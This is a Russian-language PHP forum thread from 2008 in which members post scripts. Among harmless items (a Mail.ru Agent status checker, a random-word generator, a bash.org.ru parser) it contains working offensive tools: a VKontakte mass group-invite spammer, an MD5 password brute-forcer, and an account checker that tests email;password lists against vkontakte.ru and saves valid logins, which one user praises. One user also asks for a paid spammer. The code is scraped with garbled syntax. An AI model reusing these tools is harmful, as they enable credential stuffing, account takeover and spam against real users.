      <td valign="top"><input name="end" type="text" class="inputko" id="end" value="<?=$end;?>" /></td>
      <td valign="top"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Пригласить" /></td>
      <td width="100" valign="top"><input name="email" type="text" class="inputko2" id="email" value="<?=$email;?>" /></td>
      <td width="100" valign="top"><input name="pass" type="text" class="inputko2" id="pass" value="<?=$pass;?>" /></td>
    </tr>
    <tr>
      <td valign="top">&nbsp;</td>
      <td align="right" valign="middle"><span class="comment">ID группы &gt;</span></td>
      <td align="center" valign="middle" bgcolor="#FDFFFF" class="error"><input name="gid" type="text" class="inputko3" id="gid" value="<?=$gid;?>" /></td>
      <td width="200" colspan="2" valign="middle">&nbsp;</td>
    </tr>
  </table></td>
  </tr>
</table>
</form>
<br />
<?php
if ($_POST['submit']) {
# Соединяемся с сервером ВКонтакте.ру
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
if (!
fp) {die();}
# Авторизуемся
$out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!
feof($fp)) 
{
    
$ans.=fgets($fp,128);
}
fclose($fp);
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is"$ans$cookies);
$cookies str_replace("Set-Cookie: """,$cookies[1]);
preg_match("/remixchk(.*?);/is"$cookies$cook1);
preg_match("/remixmid(.*?);/is"$cookies$cook2);
preg_match("/remixemail(.*?);/is"$cookies$cook3);
preg_match("/remixpass(.*?);/is"$cookies$cook4);
$cook1 "remixchk=".$cook1[1]."; ";
$cook2 "remixmid=".$cook2[1]."; ";
$cook3 "remixemail=".$cook3[1]."; ";
$cook4 "remixpass=".$cook4[1]."; ";
$acook $cook1.$cook2.$cook3.$cook4;
$acook str_replace ("==""="$acook);
# Открываем новое соединение
for($i=$begin;$i<$end;$i++) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out  "GET /groups.php?act=ajaxinv&gid=".$gid."&id=".$i." HTTP/1.0\r\n";  
$out .= "Host: vkontakte.ru\r\n"
$out .= "User-Agent: ".$user_agent."\r\n"
$out .= "Cookie: ".$acook."\r\n\r\n";
fwrite($fp$out);
$ans='';
while(!
feof($fp))
{
    
$ans.=fgets($fp,128);
}
# достаем результат
preg_match("/>(.*?)</is"$ans$result);
# Выводим его
echo "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"vtab\">
  <tr>
    <td width=\"70\" valign=\"middle\">"
.$i."</td>
    <td width=\"350\" valign=\"middle\">"
.$result[1]."</td>
  </tr>
</table><center>"
;
ob_flush();
flush();
fclose($fp);
sleep(1);
}
}
?>

</body>
</html>


Doom123 19.01.2008 00:55

Подбор пароля до 16 символов [a-z][A-Z][0-9]

криво написаный! под md5 но легко переделать под любую другую функцию

Пароли больше 5 символов подбирать не советую хотя и 5 это перебор...

Практиковался в php

PHP код:

<?
ini_set
("max_execution_time"99999999);
$hash "2fad8504df72a9e32bdd6f9c2611900d";
$a = array(); $b = array(); $c = array(); $d = array();
for(
$i=0$i <= 9$i++) {
$a[] = $i;} 

for(
$i=97$i <= 122$i++) {
$b[] = chr($i);} 

for(
$i=65$i <= 90$i++) {
$c[] = chr($i);} 
$d array_merge($a$b$c);

for (
$e=0$f=(-1), $g=(-1), $h=(-1), $i=(-1), $j=(-1), $k=(-1), $l=(-1), $m=(-1), $n=(-1), $o=(-1), $p=(-1), $r=(-1), $s=(-1), $t=(-1), $u=(-1); $e <= 61$e++) {
@
$cde $d[$e].$d[$f].$d[$g].$d[$h].$d[$i].$d[$j].$d[$k].$d[$l].$d[$m].$d[$n].$d[$o].$d[$p].$d[$r].$d[$s].$d[$t].$d[$u];
if (
$hash == md5($cde)) {echo $cde; break;}
if(
$e==61) {$f++; $e=(-1);} if($f==62) {$g++; $f=0;} if($g==62) {$h++; $g=0;} if($h==62) {$i++; $h=0;}
if(
$i==62) {$j++; $i=0;} if($j==62) {$k++; $j=0;} if($k==62) {$l++; $k=0;} if($l==62) {$m++; $l=0;} 
if(
$m==62) {$n++; $m=0;} if($n==62) {$o++; $n=0;} if($o==62) {$p++; $o=0;} if($p==62) {$r++; $p=0;}
if(
$r==62) {$s++; $r=0;} if($s==62) {$t++; $s=0;} if($t==62) {$u++; $t=0;} if($u == 62) {echo "Не найдено"; break;}
}
?>


NNNS 09.02.2008 21:17

Еще одна мегахрень от меня, которую я написал коротая время на уроке литературы

Функция определяет статус пользователя MRA (Mail.ru Agent)
PHP код:

<?php
$mail 
$_SERVER['QUERY_STRING'];
function 
mra_status ($mail
{

    
$offline    "a46f044e175e9b1b28c8d9a9f66f4495";
    
$online     "b3b974fe114d5fba50b9658641a7a393";
    
$away       "89d1bfcdbf238e7faa6aeb278c27b676";
    
$status     md5_file("http://status.mail.ru/?".$mail);
    
$mra_status "";
    if (
$status == $offline
    {
        
        
$mra_status "offline";

    }
    else 
    {
        if (
$status == $online
        {
            
$mra_status "online";
        }

        else 
        {
            if (
$status == $away
            {
                
$mra_status "away";
            }

        }


    }    return 
$mra_status;
}

echo 
mra_status($mail);

?>

Пример : http://nnns.ru/scripts/mra/?[Ваш_email]

Marikontos 14.02.2008 05:47

Здравствуйте!!! А скажите пожалуйста по поводу Приглашалки в группу vkontakte. Я залил на хостинг, заполняю все поля, нажимаю пригласить а мне в ответ Невозможно отобразить страницу. Ответьте пожалуйста, чего нада сделать?

Marikontos 14.02.2008 21:21

Товарищи!!! Ну скажите в чём же может быть проблема?

Xcontrol212 19.03.2008 17:48

проверь права))))))
мб данный скриптнеработает на бесплатном хостинге=)

-Hormold- 19.03.2008 18:17

Что за хост?

NNNS 25.03.2008 14:15

ВКонтакте АККчекер 0.1

Скрипт чекает аккаунты Вконтакте.ру на валидность.

Для работы требуется хост с поддержкой сокетов.
Залейте скрипт на хостинг.
Создайте файл "valid.txt" поставьте на него права на запись.
В файл "accounts.txt" вставьте список аккаунтов. "E-mail;Pass"
PHP код:

<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#&     ВКонтакте АККчекер    0.1
#&     VKontakte ACCchecker  0.1
#&     By NNNS::[icq: 474374] 
#&     All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"
# Файл с аккаунтами
$acclist "accounts.txt";
# Файл с валидными аккаунтами
$vallist "valid.txt";
# Помещаем аккаунты в массив
$account file($acclist);
# Рабочие аккаунты
$valid   0;
# Нерабочие аккаунты
$invalid 0;

function 
vkCheck($email,$pass) { 
    
# Открываем сокет
    
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 
    
# Отправляем заголовки
    
$out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"
    
$out .= "Host: vkontakte.ru\r\n"
    
$out .= "User-Agent: ".$user_agent."\r\n"
    
$out .= "Cookie: income=1\r\n"
    
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"
    
fwrite($fp,$out); 
    
# Записываем ответ сервера в переменную
    
$ans=fgets($fp,128); 
    
# Закрываем сокет
    
fclose($fp); 
    
# Если 302 найден, значит акк валидный
    
if(preg_match("/\b302 Found\b/is"$ans)) {
        return 
true;
    } else {
        return 
false;
    }
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
    
# Удаляем симолы перевода строки
    
$caccaunt          str_replace("\r\n","",$account[$i]);
    
# Разбиваем на e-mail и пароль
    
list($email,$pass) = explode(";",$caccaunt);
    
# Вызываем функцию проверки аккаунта
    
$answer            vkCheck($email,$pass);
    
# Если аккаунт рабочий, записываем его в файл
    
if ($answer == true) {
        
$fd fopen($vallist,"a+");
        
fputs($fd,$account[$i]);
        
fclose($fd);
        
$valid++;
    } else {
        
$invalid++;    
    }
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>


Foxtrot1 27.03.2008 23:49

все таки выложил :) и хорошо... на благо общества , кста я юзал его - работает как часы +1. Только когда файл accounts.txt перегружаешь большим количеством аков результат не выдает, но все равно записывает(просто скачиваю valid.txt и все...

LolFEm 28.03.2008 01:14

to Хелпер

пофикси багу деление на 0

astrologer 28.03.2008 10:53

Хелпер, Мне кажется, ты недопонял конструкцию switch.
PHP код:

switch ($num3

case 
"+"
echo 
$num1 $num2

switch (
$num3

case 
"-"
echo 
$num1 $num2

switch (
$num3

case 
"*"
echo 
$num1 $num2

switch (
$num3

case 
"/"
echo 
$num1 $num2


PHP код:

switch ($num3

  case 
'+':
  echo 
$num1 $num2;
  break;

  case 
'-':
  echo 
$num1 $num2
  break;

  case 
'*'
  echo 
$num1 $num2
  break;

  case 
'/':
  echo 
$num1 $num2
  break;

  default:
  echo 
'Какой-то левый параметр.';



Ponchik 29.03.2008 20:19

Самый трушный мой скрипт от скуки, это мне совсем нечего было делать :)
PHP код:

<?php
function genStr($min,$max) {
    
$glas 'уеыаоэяию'#гласный букафке
    
$soglas 'цкнгшщзхфвпрлджчсмтб'#сагласные
    
$to rand($min,$max);
    
$ret '';
    for(
$i=0;$i<$to;$i++) {
        if(
$i%2$ret .= $glas[rand(0,strlen($glas)-1)];
        else 
$ret .= $soglas[rand(0,strlen($soglas)-1)];
    }
    
$ret[0] = strtoupper($ret[0]);
    return 
$ret;
}
?>

Генерит иногда оч ржачные слова
genStr(мин.букавок, максимум);
Запускаем, прёмся :D
PHP код:

<?php
for($i=0;$i<10;$i++) {
    echo 
genStr(3,10).'<br>';
}
?>


Phm.phx 01.04.2008 19:15

PHP код:

<?
$i
"<script>alert("С 1 апреля") </script><br>"
for ($i; ; )
{
echo 
$i
}
?>


NOmeR1 01.04.2008 22:22

Код:

<script> while(true) { alert("С 1 апреля") } </script>
Phm.phx, так легче)

d_x 03.04.2008 22:03

Действительно нечего было делать, написал парсер башорга, умеет выполнять все функции с ним :)

Вот класс для работы с башоргом:
http://rapidshare.com/files/104604548/bash.php.html
(на рапиду выложил, т.к. тут исходники искажаются немного)


Вот доки по классу :)
PHP код:

Все переменные - private, инфо просто для ознакомления

$bash_url 
url страницы башорга
$bash_text 
текст какой-либо из страниц башорга
$bash_arr 
массив пропарсенных цитат
$bash_type 
страницакоторую читаем
$bash_page 
номер страницыкоторую читаем
$bash_max_page 
максимальная страница 
$bash_curr_page 
текущая страница
$bash_last_quote 
последняя прочитанная цитата
$bash_q_num 
номер прочитанной цитаты
$bash_approved 
число добавленных за день цитат


Методы класса

Bash
($url='bash.org.ru') - конструктор класса$url адрес башорга:)
get_bash_text() - public, возвращает весь полученный функцией bash_read контент
get_bash_arr
() - public, возвращает весь полученный функцией bash_read контент

bash_read
($typ=0,$page=1,$stext='') - public, главная функциячитает башорг
$typ
==читает главную страницу
$typ
==читает страницу "по рейтингу"можно указать $page номер страницы
$typ
==читает бездну
$typ
==читает топ бездны
$typ
==читает "случайные"
$typ==читает конкретную цитату с номером $page
$typ
==ищет цитаты среди добавленныхнужно задать $stext строка поиска
$typ
==ищет цитаты в бездненужно задать $stext строка поиска
$typ
==читает страницу "по дате"можно указать $page номер страницы

bash_socket
($service_uri,$ref='',$method='GET') - private, работает с сокетами

bash_parse
() - public, парсит полученную с помощью bash_read страницу
Если были считаны главная
/"по рейтингу"/"случайные"/конкретная цитата по номеру/"по дате"/был произведён поиск в добавленныхто
возвращается массив 
array('id','rating','approved','date','cite'), где id массив номеров цитатrating массив и рейтинговapproved массив ников
тех
кто добавлял цитатыdate массив дат и времён добавленияcite массив текстов цитат.
Кроме тогоесли были считаны страницы "по рейтингу"/"по дате"функция определяет текущую страницу и максимальное число страницих можно получить
с помощью get_curr_page и get_max_page соответственно
Если же была считана главная страницато определяется число добавленных за последние сутки цитат,
его можно получить с помощью get_approved_num.

Если была считана бездна/произведён поиск по безднето возвращается массив array('id','date','cite').

Если был считан топ бездныто возвращается массив array('id','rating','date','cite').

get_number() - public, возвращает число найденных на странице цитат
get_page_name
() - public, возвращает имя последней считанной страницы
get_max_page
(), get_curr_page() - public, смbash_parse
rate_cite
($id,$typ=0,$inabyss=0) - public, изменяет рейтинг цитаты с номером $idЕсли $typ==0то ставится "+"если 1то "-"если "2"то "боян"
Если голосовать нужно за цитату в безднето укажите $inabyss==1если же за уже добавленную цитатуто 0.
Функция возвращает строку 
'abyss'если после голосования был редирект на безднулибо номер цитатына которую был редиректлибо 0если не удалось распознать ни первое ни второе.
get_cite_rate($id) - public, получает рейтинг добавленной цитаты с номером $id
bash_add
($cite='') - public, добавляет цитату с текстом $cite
get_approved_num
() - public, смbash_parse



Пример
для тогочтобы вывести свеженькие сегодняшние цитаты с главной страницыдостаточно такого кода:

require_once(
"bash.php"); //подключаем класс
$bash=new Bash(); //создаём объект
$bash->bash_read(); //читаем главную
$cite=$bash->bash_parse(); //парсим её

$anum=$bash->get_approved_num(); //получаем число добавленных сегодня цитат
$num=$bash->get_number(); //получаем число найденных цитат

if($anum>$num$anum=$num//если добавлено было больше, чем отображается

for($i=0;$i<$anum;$i++)
{
  print 
"<hr>{$cite['cite'][$i]}"//выводим цитатки



Вот пример простого ридера баша на базе моего класса:
PHP код:

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Bash.Org.Ru Reader by DX</title>
<style>
body
{
font-family:'Arial';
font-size:12;
}
hr
{
height: 1px;
color:black;
border:none;
background-color:blac;
}
.header
{
font-size:16;
font-weight:bold;
}
.bkg
{
background-color:#99bbff;
}
a,a:active,a:visited
{
color:#34498B;
text-decoration:none;
font-weight:700;
}
a:hover
{
color: blue;
font-weight:700;
text-decoration:underline;
}
input
{
BORDER: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
}
</style></head>
<body>
<b><a href="?loc=0">Главная App.</a> | <a href="?loc=10">Главная All</a> | <a href="?loc=3">Топ бездны</a>  | <a href="?loc=2">Бездна</a> | <a href="?loc=1">По рейтингу</a>
 | <a href="?loc=4">Случайные</a></b><form action="" method="get"><input type="hidden" name="loc" value="5">ID цитаты: <input type="text" name="page"> <input type="submit" value="Читать"></form><hr>
<?php
error_reporting
(E_ALL);
require_once(
"bash.php");


$loc=isset($_GET['loc']) ? $_GET['loc'] : 0;
$cid=isset($_GET['id']) ? $_GET['id'] : 0;

if(
$loc==|| $loc==5)
  
$page=isset($_GET['page']) ? $_GET['page'] : 1;
else
  
$page=1;

$bash=new Bash();

$a=isset($_GET['a']) ? $_GET['a'] : 0;

if(
$loc=='6')
{
  
$tmp=$bash->rate_cite($cid,0,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}
else if(
$loc=='7')
{
  
$tmp=$bash->rate_cite($cid,1,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}
else if(
$loc=='8')
{
  
$tmp=$bash->rate_cite($cid,2,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}

$xloc=$loc;
if(
$loc==10$loc=0;

$bash->bash_read($loc,$page);
$cite=$bash->bash_parse();

if(
$xloc==0$anum=$bash->get_approved_num(); else $anum=0;

$num=$bash->get_number();

if(
$xloc==0)
{
  if(
$anum>100$anum=$num;
}
else
{
  
$anum=$num;
}

print 
"<center><span class='header'>".$bash->get_page_name()."</span></center><hr><b>Найдено: $anum</b>";

$ptxt='';

if(
$loc==1)
{
  
$ptxt="<br><b>Страницы: </b>";

  
$maxp=$bash->get_max_page();
  
$curp=$bash->get_curr_page();

  
$ptxt.="<a href='?loc=1&page=1'>первая</a> || ";

  if(
$curp>1)
  {
    
$tmp=$curp-1;
    
$ptxt.="<a href='?loc=1&page=$tmp'>&lt;&lt;&lt;предыдущая</a> &nbsp;";
  }

  
$ptxt.='<b>'.$curp.'</b>';

  if(
$maxp>$curp)
  {
    
$tmp=$curp+1;
    
$ptxt.=" &nbsp;<a href='?loc=1&page=$tmp'>следующая&gt;&gt;&gt;</a>";
  }

  
$ptxt.=" || <a href='?loc=1&page=$maxp'>последняя</a>";

  print 
$ptxt;
}



for(
$i=0;$i<$anum;$i++)
{
  print 
"<hr><span class='bkg'>#{$cite['id'][$i]} | {$cite['date'][$i]}";

  if(isset(
$cite['rating'][$i]))
    print 
" | <b>Rate</b>: {$cite['rating'][$i]}";

  if(isset(
$cite['approved'][$i]))
    print 
" | <b>{$cite['approved'][$i]}</b>";

  if(
$loc==|| $loc==|| $loc==|| $loc==4$a=0; else $a=1;
  print 
" || <a href='?loc=6&id={$cite['id'][$i]}&a=$a'>:D</a> | <a href='?loc=7&id={$cite['id'][$i]}&a=$a'>:(</a> | <a href='?loc=8&id={$cite['id'][$i]}&a=$a'>:X</a>";

  print 
'</span><br>'.$cite['cite'][$i];
}

if(
$ptxt)
  print 
'<hr>'.$ptxt;


?>
</body></html>


Foxtrot1 12.04.2008 00:42

кто напишет спамер vkontakte можно за $.

Хелпер 27.04.2008 23:03

он вроде есть


Время: 13:24